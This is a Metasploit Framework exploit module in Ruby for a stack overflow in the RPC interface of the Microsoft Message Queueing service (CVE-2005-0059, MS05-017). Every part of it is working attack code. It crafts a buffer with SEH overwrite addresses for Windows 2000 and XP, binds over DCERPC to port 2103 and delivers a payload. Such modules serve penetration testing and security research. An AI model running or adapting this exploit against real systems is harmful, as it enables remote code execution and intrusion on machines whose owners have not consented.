Microsoft Message Queueing Service Path Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::DCERPC  
include Msf::Exploit::Remote::Seh  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'Microsoft Message Queueing Service Path Overflow',  
'Description' => %q{  
This module exploits a stack overflow in the RPC interface  
to the Microsoft Message Queueing service. The offset to the  
return address changes based on the length of the system  
hostname, so this must be provided via the 'HNAME' option.  
Much thanks to snort.org and Jean-Baptiste Marchand's  
excellent MSRPC website.  
  
},  
'Author' => [ 'hdm' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2005-0059'],  
[ 'OSVDB', '15458'],  
[ 'MSB', 'MS05-017'],  
[ 'BID', '13112'],  
],  
'Privileged' => true,  
'Payload' =>  
{  
'Space' => 1024,  
'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e\xff",  
'StackAdjustment' => -3500,  
  
},  
'Targets' =>   
[  
[  
'Windows 2000 ALL / Windows XP SP0-SP1 (English)',  
{  
'Platform' => 'win',  
'Rets' => [ 0x004014e9, 0x01001209 ] # mqsvc.exe  
},  
],  
],  
'DisclosureDate' => 'Apr 12 2005',  
'DefaultTarget' => 0))  
  
# Change the default port values to point at MSMQ  
register_options(  
[  
Opt::RPORT(2103),  
OptString.new('HNAME', [ true, "The NetBIOS hostname of the target" ]),  
], self.class)  
end  
  
def autofilter  
# Common vulnerability scanning tools report port 445/139  
# due to how they test for the vulnerability. Remap this  
# back to 2103 for automated exploitation  
  
rport = datastore['RPORT'].to_i  
if ( rport == 2103 or rport == 2103 )  
datastore['RPORT'] = 2103  
end  
  
# The NetBIOS hostname is required to exploit this bug reliably.  
if (not datastore['HNAME'])  
# XXX automatically determine the hostname  
return false  
end  
  
true  
end  
  
def exploit  
  
# MSMQ supports three forms of queue names, the two we can use are  
# the IP address and the hostname. If we use the IP address via the  
# TCP: format, the offset to the SEH frame will change depending on  
# the length of the real hostname. For this reason, we force the user  
# to supply us with the actual hostname.  
  
# Formats: DIRECT=TCP:IPAddress\QueueName DIRECT=OS:ComputerName\QueueName  
  
queue_name = "OS:#{datastore['HNAME']}";  
queue_hlen = datastore['HNAME'].length * 2  
queue_path = unicode(queue_name + "\\PRIVATE$\\")  
  
buf = rand_text_english(4000, payload_badchars)  
  
# Windows 2000 SEH offset goes first  
buf[372 - queue_hlen + 0, 4] = [ target['Rets'][0] ].pack('V')  
buf[372 - queue_hlen - 4, 2] = "\xeb\x22"  
  
# Windows XP SEH offset goes second  
seh = generate_seh_payload(target['Rets'][1])  
buf[400 - queue_hlen - 4, seh.length] = seh  
  
# Append the path to the location and null terminate it  
queue_path << buf << "\x00\x00"  
  
# Get the unicode length of this string  
queue_plen = queue_path.length / 2  
  
connect  
print_status("Trying target #{target.name}...")  
  
handle = dcerpc_handle('fdb3a030-065f-11d1-bb9b-00a024ea5525', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])  
print_status("Binding to #{handle} ...")  
dcerpc_bind(handle)  
print_status("Bound to #{handle} ...")  
  
stubdata =   
NDR.long(1) +  
NDR.long(1) +  
NDR.long(1) +  
NDR.long(3) +  
NDR.long(3) +  
NDR.long(2) +  
NDR.UnicodeConformantVaryingStringPreBuilt(queue_path)  
  
print_status('Sending exploit ...')  
  
response = dcerpc.call(9, stubdata)  
  
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)  
case dcerpc.last_response.stub_data  
when "\x20\x00\x0e\xc0"  
print_status("The server rejected our request, the HNAME parameter could be incorrect")  
when "\x1e\x00\x0e\xc0"  
print_status("The server does not appear to be exploitable")  
else  
print_status("An unknown response was received from the server:")  
print_status(">> " + dcerpc.last_response.stub_data.unpack("H*")[0])  
end  
end  
  
handler  
disconnect  
end  
  
end  
`